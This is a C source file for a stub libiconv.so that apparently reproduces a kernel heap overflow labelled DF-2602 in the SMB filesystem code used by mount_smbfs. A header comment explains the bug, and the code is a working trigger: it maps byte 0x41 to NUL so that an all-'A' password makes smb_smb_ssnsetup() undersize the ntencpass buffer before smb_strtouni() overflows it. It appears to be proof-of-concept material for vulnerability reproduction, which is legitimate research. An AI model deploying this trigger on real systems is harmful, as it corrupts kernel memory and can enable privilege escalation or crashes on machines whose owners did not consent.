/*
 * Stub libiconv.so for DF-2602 reproduction.
 *
 * mount_smbfs -E cs1:cs2 dlopens "libiconv.so" and uses iconv() to build a
 * 256-byte kernel xlat table (one output byte per input byte 0..255).  This
 * stub maps the byte 'A' (0x41) to NUL (0x00) and leaves every other byte
 * unchanged.  The resulting kernel xlat table has table[0x41]=0x00, so when
 * smb_smb_ssnsetup() converts a password of all-'A's through vc_toserver,
 * every byte becomes NUL and strlen(pbuf) collapses to 0 -- while the buffer
 * ntencpass was sized from that 0-length pbuf.  smb_strtouni() then writes
 * the full original (un-shortened) password as Unicode into the undersized
 * buffer => heap overflow.
 *
 * Build (guest, as root): cc -shared -fPIC -o /usr/lib/libiconv.so stub_iconv.c
 */
#include <stddef.h>

typedef void *iconv_t;

iconv_t iconv_open(const char *to, const char *from) {
    return (iconv_t)1;
}

size_t iconv(iconv_t cd, char **inbuf, size_t *inbytesleft,
             char **outbuf, size_t *outbytesleft) {
    if (inbuf == NULL || *inbuf == NULL) {
        /* reset / initialisation call from nls.c */
        return 0;
    }
    size_t n = (*inbytesleft < *outbytesleft) ? *inbytesleft : *outbytesleft;
    char *src = *inbuf;
    char *dst = *outbuf;
    size_t i;
    for (i = 0; i < n; i++) {
        unsigned char c = (unsigned char)src[i];
        /* Map 'A' (0x41) -> NUL so pbuf truncates and the size/fill mismatch
         * in smb_smb_ssnsetup overflows ntencpass.  All other bytes identity. */
        dst[i] = (c == 0x41) ? (char)0x00 : (char)c;
    }
    *inbuf += n;
    *outbuf += n;
    *inbytesleft -= n;
    *outbytesleft -= n;
    return n;
}

int iconv_close(iconv_t cd) {
    return 0;
}
